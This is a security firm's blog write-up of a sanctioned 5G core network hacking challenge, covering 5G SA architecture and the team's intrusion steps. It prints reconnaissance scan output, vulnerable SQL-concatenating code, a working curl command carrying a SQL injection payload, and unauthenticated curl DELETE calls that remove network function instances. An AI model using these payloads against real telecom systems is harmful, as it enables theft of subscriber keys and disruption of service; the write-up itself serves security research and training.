5G installations are becoming more present in our lives and will introduce significant changes regarding the traffic demand growing with time. The development of the 5G will is not only an evolution in terms of speed but also tends to be adapted in many contexts: medical, energy, industries, transportation, etc. In this article, we will briefly introduce the 5G network and take as an example the assessment we did with the DeeperCut team to place 3rd on the PwC & Aalto 5G Cybersecurity challenge to introduce possible attacks, but also the tools we developed at Penthertz.
In 2019, a part of our team had the chance to participate and win the "Future 5G Hospital intrusion" challenge of the 5G Cyber Security Hack 2019 edition. This edition was the opportunity to perform intrusion tests in a 5G Non-Standalone Access (NSA) network, which is currently in use everywhere, from a 5G-NR interface using a provided ISIM card. Details of our intrusion have been documented more generically and were published in Medium.
This year, we had again the opportunity to play freely with some 5G network products and build a new team called "The Deeper Cuts" composed of Alexandre De Oliveira, Dominik Maier, Marius Muench, Shinjo Park, and myself.
Our team applied to the PwC & Aalto challenge, which looked complete for us on paper, as it was not only looking for vulnerability in a commercial product but a vast network architecture.
After 24h, we can play with many assets and discover future attack vectors that will appear as soon as 5G-NR SA is in production. However, after this challenge, we continued experimenting with a testbed 5G Core Network to develop our tools.
In this article, we will briefly remind the two types of 5G networks, then focus on different scenarios starting from the outside and looking inside the core network, discussing classic vulnerabilities we can encounter during a security engagement. This article will also introduce one of the tools we made to attack this new type of network.
Two kinds of architectures are known for the 5G networks:
At the time of this article, only NSA is largely deployed, and it is rare to see a SA in production available to the public. If everything goes right, we expect the SA network to be deployed only in mid-2022. If we make some reminding, the commercial 5G network deployment utilizes the NSA mode and shares the same Core network as LTE, known as NSA LTE assisted NR:
Technically, the same Evolved Packet Core (EPC) is used between 4G and 5G. Indeed, there is no signnificant changes apart from the radio side where 5G-NR use up to 1024-Quadrature Amplitude Modulation (QAM), supports channels up to 400 MHz, and also with a more significant number of subcarriers compared to 4G. But in the end, the final user will still find some speed limitations due to the use of the 4G network shared with 4G antennas.
In SA, things are going to change entirely in the core as a Next-Generation Core Network (NGCN) replacing the EPC:
This new type of network might be able to support high-speed connectivity and a lot of different applications. Indeed, thanks to new concepts such as Network Function Virtualization (NFV), the splitting of the data and control planes with Software Defined Network (SDN), and Network Slicing (NS).
Regarding the NFV in the upcoming 5G-NR SA architecture, the 3GPP opted for a Service-Based Architecture (SBA) approach for the control plane, where services use HTTP/2. However, the interfaces between the User Equipment (UE) and the core (N1), the network and the core (N2 and N3), as well as the user plan still use a point-to-point link as shown in the following picture.
Generally, the mobile network is rarely upgraded once the standards are frozen. This could be observed with 2G and 3G, but in 4G, many arrived for Machine Type Communications (MTC) and Internet of Things (IoT) applications. Consequently, the 4G networks had to be updated with a new entity introduced by 3GPP: MTC-IWF (MTC Interworking Function).
Its new architecture makes 5G core networks more flexible. The SBA model allows two roles that can be played in software:
All functions are connected via an integration BUS using the REST API, and can be updated or deleted and reused in another context. Each function has a purpose.
The User Plane Function (UPF) linked to the gNB is used to connect subscribers to the internet through the Data Network (DN). This function is connected to the Session Management Function (SMF), responsible for managing sessions and handling the tunnel between the access network and the UPF, selecting the UPF gateway to use, IP address allocations, and interaction with the Policy Control Function (PCF). The PCF is here applies policy rules to the User Equipment (UE) using data from the Unified Data Repository, which stores and allows extracting subscribers' data.
The Access and Mobility Management Function (AMF) handles:
The management of user profiles is made by the User Data Management (UDM) and is also used to generate authentication credentials. To authenticate users for 3GPP and non-3GPP accesses, an Authentication Server Function (AUSF) is available.
The Policy Control Function (PCF) assigns rules to the UE data from the Unified Data Repository (UDR).
A UE is assigned a slide depending on its type, location, and other parameters defined in the Network Slide Selection Function (NSSF)
A Network Repository Function (NRF) is available to discover all these instances, and all functions are communicating with it to update their status. We will see that this component reveals to be very interesting during an attack.
Before this post, the NCC group previously published an article on a stack-overflow vulnerability they found in the UPF of the Open5GS stack. Their publication is interesting as it shows that memory corruptions can happen in these new 5GC networks, which may be part of another blog post or a YouTube video on our channel.
To illustrate possible attacks, we will give the example of the 5G Cybersecurity challenge 5GNC architecture provided by PwC & Aalto:
This architecture includes a real gNB where the targets were connected in 5G-NR. The staff also let us have a playground core to get familiar with the architecture with SSH accesses. To get the feedback of LED status in real-time, the targets were streamed on a YouTube channel.
To complete the challenge, organizers provided our generated SSH keys to connect the 5G core network. From there, we could directly interact with the different exposed entities, but to make things a little spicier, our team also wanted to take it in a redder team approach:
This challenge used a proprietary 5G core network written in Go.
Let us now see the steps we took to intrude on this network...
Even if we were first granted the playground 5G core network to get familiar with the 5G SA architecture, our team proceeded with some extra fingerprinting to see if they could directly join the 5G core network in production.
To do so, we took the public IP address and reversed it for other ranges that would be part of the infrastructure. That way, we would quickly figure out that one range proper to FI-TKK****-NET
could be an interesting beginning:
whois 195.148.**.**
[...]
inetnum: 195.148.***.0 - 195.148.***.255
netname: FI-TKK****-NET
descr: TKK Comnet
country: FI
admin-c: MP14***-RIPE
tech-c: MP14***-RIPE
status: ASSIGNED PA
mnt-by: AS17**-MNT
created: 2009-02-13T10:44:24Z
last-modified: 2009-02-13T10:44:24Z
source: RIPE
person: Markus P********
address: Helsinki University of Technology
address: TKK/TLV
address: P.O.Box 3000
address: FIN-02015 TKK Finland
phone: ****************
nic-hdl: MP14***-RIPE
mnt-by: AS17**-MNT
created: 2009-02-13T10:37:57Z
last-modified: 2017-10-30T22:04:40Z
source: RIPE # Filtered
After that, we started scanning this whole range and discovered many hosts, including interesting hostnames as follows:
Among these hosts, we could also find some other hosts, but probably out-of-the-scope, as they aim to test drones and VR/AR. So we have decided to only focus on these two hosts primarily.
The two interfaces we focused on seemed to have an attractive exposed interface at port TCP 3000 for both hosts and a TCP 5050 interface for IP 195.148.*. as follows:
Nmap scan report for 5GC1.research.****.aalto.fi (195.148.***.***)
Host is up (0.044s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
[...]
3000/tcp open ssl/http Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: EPC USER INTERFACE
| ssl-cert: Subject: commonName=www.localhost.com/organizationName=c****core/stateOrProvinceName=ESPOO/countryName=FI
| Issuer: commonName=www.localhost.com/organizationName=c***core/stateOrProvinceName=ESPOO/countryName=FI
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-01-10T08:20:47
| Not valid after: 2020-02-09T08:20:47
| MD5: 3bea 59c5 d273 8e76 943e 5da1 ca0f 2040
|_SHA-1: f5fc 11d5 489e b5a9 27e3 66b7 386e 05e0 5b79 78ea
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
[...]
Nmap scan report for rs-122.research.*****.****.fi (195.148.***.***)
Host is up (0.044s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a3:8f:d9:************************************** (RSA)
| 256 19:99:4d:*************************************** (ECDSA)
|_ 256 22:99:80:*************************************** (ED25519)
25/tcp filtered smtp
3000/tcp open ssl/http Node.js (Express middleware)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: EPC USER INTERFACE
| ssl-cert: Subject: commonName=www.localhost.com/organizationName=c****core/stateOrProvinceName=ESPOO/countryName=FI
| Issuer: commonName=www.localhost.com/organizationName=c***core/stateOrProvinceName=ESPOO/countryName=FI
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-01-10T08:20:47
| Not valid after: 2020-02-09T08:20:47
| MD5: 3bea 59c5 d273 8e76 943e 5da1 ca0f 2040
|_SHA-1: f5fc 11d5 489e b5a9 27e3 66b7 386e 05e0 5b79 78ea
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
| http/1.1
|_ http/1.0
5050/tcp open mmcc?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Connection: close
| Content-Length: 232
| Content-Type: text/html; charset=utf-8
| Date: Mon, 14 Jun 2021 15:18:55 GMT
| Server: waitress
| <!DOCTYP#fig:c****core1#fig:c****core1E HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 200 OK
| Connection: close
| Content-Length: 2407
| Content-Type: text/html; charset=utf-8
[...]
Finding these interfaces, our team proceeded by hunting for vulnerabilities in web applications.
By brute-forcing directories in exposed web interfaces, it was found that at least one was vulnerable to a path traversal, giving us access to the Core Network Management Interface as follows:
With such access, we could directly look for secret likes preshared key Ki used to derive session keys for each subscriber:
In that context, keys were just duplicated for the challenge, as it is more convenient to develop a batch of ISIM cards with the same key. But imagine if those keys were actually used in a real-world context, an attacker could use these secrets and trap the victims in fake gNB, as the BTS, or (e/g)NodeB would be able to authenticate itself with that key. Indeed, if we consider using an srsRAN for 4G and 5G NSA, or an Amarisoft gNB and provide the key of each user the following way, we will be able to spy on communications close to targets.
Following this traversal vulnerability, we have also found another web vulnerability that allowed us to gain more information.
Continuing our investigation, we have been able to retrieve access to the MySQL database:
Unfortunately for us, this database was not directly exposed.
Indeed, by inspecting the JavaScript file routes/routes.js
of the web user interface, it was shown that some parameterized SQL queries were used for most functions. However, among all options, the /operator
endpoint was clearly an option:
check('mcc').isInt({ min: 100, max: 999 }).withMessage('Error! mcc should be integer value!').trim().escape(),
check('mnc').isLength({ min: 1, max: 3 }).withMessage('Error! Mnc should not be empty !').trim().escape(),
check('op').isHexadecimal().withMessage('Error! The op field requires hexadecimal value!').trim().escape(),
check('amf').isHexadecimal().withMessage('Error! The amf field requires hexadecimal value!').trim().escape(),
check('name').isLength({ min: 1 }).withMessage('Error! The name field requires alphanumeric characters!').trim()
... snipped ...
mysql_op = "INSERT INTO operators (mcc,mnc,op,amf,name) values ('" + req.body.mcc + "','" + req.body.mnc + "',UNHEX('" + req.body.op + "'),UNHEX('" + req.body.amf + "'),'" + req.body.name + "')";
db.query(mysql_op, function (err, op_data) {
Testing this option, we could observe that it was possible to save a result into an inserted column using the following query:
$ curl -L -k 'https://195.148.****:3000/operator' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Referer: https://195.148.******:3000/display_operator' -H 'DNT: 1' -H 'Connection: keep-alive
' -H 'Cookie: connect.sid=s%3A77zZAllwXzI3OMKe6gK5b1iy***********************************************************' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: https://19
5.*******:3000' --data-raw 'mcc=901&mnc=01&op=f964ba947*********************&amf=8000&name=a%27%29%3B%20SELECT%20COUNT%28%2A%29%20INTO%20%40v1%20FROM%20five_g_service_data%3B%20UPDAT
E%20operators%20SET%20operators.name%20%3D%20LEFT%28%40v1%2C%2020%29%20WHERE%20operators.mcc%20%3D%20%27901%27%20%23%20'
The query resulted as follows:
However, it was also observed that we were limited to 20 characters maximum with the name field, which was the more significant type in this case. We could retrieve the resulting blind using timing functions, but it was time-consuming. So the best option was to automate it and keep a clean page for other participants by saving results as discreetly in the name field as possible.
Running on time, our black-box approach needed to finish, and we used SSH tunnels provided by organizers to continue inside the "Operator's Network".
Inside the Operator's network, we were able to scan and discover a few other systems and particularly some HTTPS endpoints that were revealed to be an NRF (Network Function Repository Function) endpoints:
$ curl -k -X GET "https://10.33.*****:9090/bootstrapping" -H "accept: application/3gppHal+json"
{"status":"OPERATIVE","_links":{"authorize":{"href":"https://10.33.******:9090/oauth2/token"},"discover":{"href":"https://10.33.******:9090/nnrf-disc/v1/nf-instances"},"manage":{"href":"https://10.33.******:9090/v1/nf-instances"},"self":{"href":"https://10.33.1.12:9090/bootstrapping"},"subscribe":{"href":"https://10.33.1.12:9090/nnrf-nfm/v1/subscriptions"}}}
While this method returns API endpoints for different kindis of tasks. After that, we can inspect further this API, like using the nf-instances
endpoints by example:
$ curl -k -X GET "https://10.33.*****:9090/nnrf-disc/v1/nf-instances?target-nf-type=NRF&requester-nf-type=NRF"
{"validityPeriod":120,"nfInstances":[{"nfInstanceId":"8cfcf12f-c78f-******************","nfType":"NRF","nfStatus":"REGISTERED","nfInstanceName":"nrf-cumu","plmnList":[{"mcc":"244","mnc":"53"}],"ipv4Addresses":["10.33.*******:9090"],"allowedPlmns":[{"mcc":"244","mnc":"53"}],"allowedNfTypes":["NWDAF","SMF","NRF","UDM","AMF","AUSF","NEF","PCF","SMSF","NSSF","UDR","LMF","GMLC","5G_EIR","SEPP","UPF","N3IWF","AF","UDSF","BSF","CHF","PCSCF","CBCF","HSS","SORAF","SPAF","MME","SCSAS","SCEF","SCP"],"nfServiceList":{"0":{"serviceInstanceId":"0","serviceName":"nnrf-disc","versions":[{"apiVersionInUri":"v1","apiFullVersion":"1.0.0"}],"scheme":"https","nfServiceStatus":"REGISTERED","ipEndPoints":[{"ipv4Address":"10.33.1.12","ipv6Address":"","transport":"TCP","port":9090}],"allowedPlmns":[{"mcc":"244","mnc":"53"}]},"1":{"serviceInstanceId":"1","serviceName":"nnrf-nfm","versions":[{"apiVersionInUri":"v1","apiFullVersion":"1.0.0"}],"scheme":"https","nfServiceStatus":"REGISTERED","ipEndPoints":[{"ipv4Address":"10.33.****","ipv6Address":"","transport":"TCP","port":9090}],"allowedPlmns":[{"mcc":"244","mnc":"53"}]}}}]}
It should be noted that all these queries were performed without any authentication. Nevertheless, a good understanding of the 3GPP OpenAPI is required if we do not want to drown down looking at all the YAML files. Luckily for us at that time, there was some project like 5GC APIs which allowed us to save plenty of time.
A project like 5GC API allows us to construct queries quickly. However, these queries needed to be converted to Burp Suite if we wanted to automate some work and record behaviors more narrowly.
So after the challenge, a Burp Suite extension was also released by Penthertz to allow future telecom pentesters to check the NRF interface directly. This extension is officially available in Burp's store.
And by playing with the different endpoints, we have been able to reach the goal of the challenge by interrupting the traffic by deleting the NF instances created for the challenge:
$ curl -k -X DELETE "https://10.33.*****:9090/nnrf-nfm/v1/nf-instances/84694f7d-7f76-44af************************" -H "accept: */*" # first API call
$ curl -k -X DELETE "https://10.33.*****:9090/nnrf-nfm/v1/nf-instances/84694f7d-7f76-44a*****************" -H "accept: */*" # second API call
{"title":"Data not found","status":404,"cause":"DATA_NOT_FOUND"}
But abusing the PUT web verb, we were also able to perform many alterations and hijack clients or also create our own instances for the purpose:
The risks of having an NRF interface exposed to an attacker and without authentication can have terrible consequences. Indeed, each function is responsible for a task, and hijacking these functions would allow an attacker to be persistent and steal secrets, monitor communications, and pivot to sensitive slices quickly to gain access to other infrastructures.
For more information regarding possible attacks with the NRF and the PFCP protocol, Positive Technologies also released a nice report resuming attacks that can be possible in 5G SA cores.
During the intrusion, we have also been able to leak the binaries, but looking at these directly showed that reversing will not be very easy:
$ file *
amf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08f94b071650da3554e5b95f70e6ba3850ce6318, with debug_info, not stripped
amf_config.json: ASCII text
cert: directory
config.yml: ASCII text
go-upf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=ckq7fZLxgmR6uenXU4JZ/KAXEUT7OwQ1xBaGVgD_7/ooHH5veYSKyfB5KX-Pjl/gKzOtxFRdL-lJs_6ac2l, stripped
hackathon_tckn: data
nrf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=uX08ekosFePKbnLnF0QB/JUYvVUCmbTHKFc0ERXZw/ZsdPpGDbVPLe-CI-lzfU/KT8XrjYx8vFbsGgXj9wS, not stripped
nrf-config.yml: ASCII text
private.key: PEM RSA private key
public.crt: PEM certificate
pub.pem: ASCII text
smf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=00c4f4b9e2b8c364e8d6598336d1003324ed76c9, with debug_info, not stripped
smf_config.json: JSON data
Indeed, exciting binaries seem to be written in Go language.
Apart from looking at string references, we did not have the time to go further on the binary, but it would be interesting to look at these, at least using a network fuzzer.
To also assist in reversing those binaries, a Ghidra plugin is available for x86_64 architectures:
Even if the analysis would be painful, the plugin helps retrieve function names, arguments in calls, and return types, which is also suitable for fuzzing purposes. We will probably cover it in another blog post.
5G-NR SA is expected to be released to the public soon, and we saw that a new network protocol in HTTP/2 will be used for this purpose. As a fact, it means that a new form of attack will also be introduced in the telecom industry, which was for the moment only mainly dealing with network attacks in the core, but will also have to be aware of potential web vulnerabilities in the future. Thanks to the 5G Cybersecurity event, we showed that even 5G-NR SA core network could be exposed and easily attacked depending on exposed services and the implementation of services and web applications. Indeed, the NRF interface was not directly exposed in our cases, and it would be a long road to access this interface with the exposed, vulnerable core network interface.
Starting 2022, Penthertz will offer 5G-NR and 5GNC security training at Advanced Security Training as 5G Mobile Device Hacking.
This training will be an opportunity to attendees to touch a 5G-NR NSA and SA testbed in remote, but also an opportunity to play with a 5G Core Network.
For more information: click here
Penthertz has more than 10 years of experience in radio, including mobile security, since 2010 and provides consultancy services to find weak points in radio communications and networks. To get more information, please get in touch with us using this link.